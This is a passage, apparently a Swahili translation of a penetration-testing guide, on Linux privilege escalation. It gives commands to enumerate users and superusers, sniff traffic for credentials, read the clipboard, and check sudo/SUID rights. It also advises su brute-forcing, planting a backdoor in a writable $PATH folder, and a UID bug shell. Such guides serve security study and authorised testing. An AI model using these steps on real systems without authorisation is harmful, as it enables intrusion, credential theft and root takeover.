(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Kunusa

Angalia kama unaweza kunusa trafiki. Ukifanikiwa, unaweza kupata baadhi ya siri za kuingia.

timeout 1 tcpdump

Watumiaji

Uchambuzi wa Kawaida

Angalia wewe ni nani, ni madaraka gani unayo, ni watumiaji gani wako kwenye mifumo, ni yupi anaweza kuingia na yupi ana madaraka ya mzizi:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

UID Kubwa

Baadhi ya toleo za Linux ziliathiriwa na mdudu ambao huruhusu watumiaji wenye UID > INT_MAX kuongeza mamlaka. Maelezo zaidi: hapa, hapa na hapa. Tumia kwa: systemd-run -t /bin/bash

Vikundi

Angalia kama wewe ni mwanachama wa kikundi fulani ambacho kinaweza kukupa mamlaka ya mzizi:

pageInteresting Groups - Linux Privesc

Ubao wa Kuchorea

Angalia kama kuna kitu cha kuvutia kilichopo ndani ya ubao wa kuchorea (ikiwezekana)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Sera ya Nywila

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Nywila Zinazojulikana

Ikiwa unajua nywila yoyote ya mazingira jaribu kuingia kama kila mtumiaji ukitumia nywila hiyo.

Su Brute

Ikiwa haujali kufanya kelele nyingi na programu za su na timeout zipo kwenye kompyuta, unaweza kujaribu kuvunja nguvu mtumiaji kwa kutumia su-bruteforce. Linpeas ikiwa na kiparameta -a pia inajaribu kuvunja nguvu watumiaji.

Mabaya ya PATH yanayoweza Kuandikwa

$PATH

Ikiwa unagundua kuwa unaweza kuandika ndani ya folda fulani ya $PATH unaweza kuinua mamlaka kwa kuunda mlango wa nyuma ndani ya folda inayoweza kuandikwa kwa jina la amri fulani ambayo itatekelezwa na mtumiaji tofauti (kimsingi root) na ambayo haipakuliwi kutoka kwenye folda iliyopo kabla ya folda yako inayoweza kuandikwa kwenye $PATH.

SUDO na SUID

Unaweza kuruhusiwa kutekeleza amri fulani kwa kutumia sudo au wanaweza kuwa na biti ya suid. Angalia kwa kutumia:

sudo -l #Check commands you can execute with sudo